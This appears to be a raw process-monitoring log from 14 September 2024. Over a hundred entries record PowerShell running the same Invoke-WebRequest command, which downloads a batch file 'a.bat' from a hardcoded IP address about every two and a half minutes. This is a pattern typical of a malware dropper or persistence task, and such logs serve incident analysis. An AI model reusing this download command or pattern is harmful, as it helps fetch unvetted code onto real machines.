C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 15:34:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 15:36:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 15:39:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 15:41:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 15:44:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 15:46:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 15:49:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 15:52:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 15:54:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 15:57:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 15:59:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 16:02:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 16:04:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 16:07:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 16:09:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 16:12:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 16:14:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 16:17:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 16:19:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 16:22:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 16:24:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 16:27:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 16:29:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 16:32:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 16:34:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 16:37:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 16:39:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 16:42:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 16:44:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 16:47:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 16:49:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 16:52:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 16:54:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 16:57:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 16:59:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 17:02:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 17:04:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 17:07:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 17:09:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 17:12:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 17:14:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 17:17:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 17:19:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 17:22:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 17:24:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 17:27:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 17:29:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 17:32:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 17:34:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 17:37:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 17:39:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 17:42:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 17:44:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 17:47:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 17:50:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 17:52:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 17:55:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 17:57:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 18:00:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 18:02:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 18:05:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 18:07:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 18:10:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 18:12:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 18:15:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 18:17:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 18:20:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 18:22:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 18:25:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 18:27:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 18:30:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 18:32:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 18:35:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 18:37:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 18:40:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 18:42:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 18:45:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 18:47:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 18:50:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 18:52:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 18:55:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 18:57:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 19:00:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 19:02:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 19:05:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 19:07:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 19:10:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 19:12:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 19:15:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 19:17:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 19:20:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 19:22:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 19:25:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 19:27:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 19:30:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 19:32:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 19:35:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 19:37:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 19:40:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 19:43:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 19:45:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 19:48:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 19:50:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 19:53:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 19:55:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 19:58:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 20:00:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 20:03:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 20:05:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 20:08:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 20:10:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 20:13:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 20:15:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 20:18:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 20:20:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 20:23:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 20:25:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 20:28:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 20:30:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 20:33:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 20:35:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 20:38:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 20:40:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 20:43:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 20:45:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 20:48:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 20:50:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 20:53:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 20:55:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 20:58:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 21:00:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 21:03:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 21:05:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 21:08:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 21:10:56 NOTIFY: PROCESS 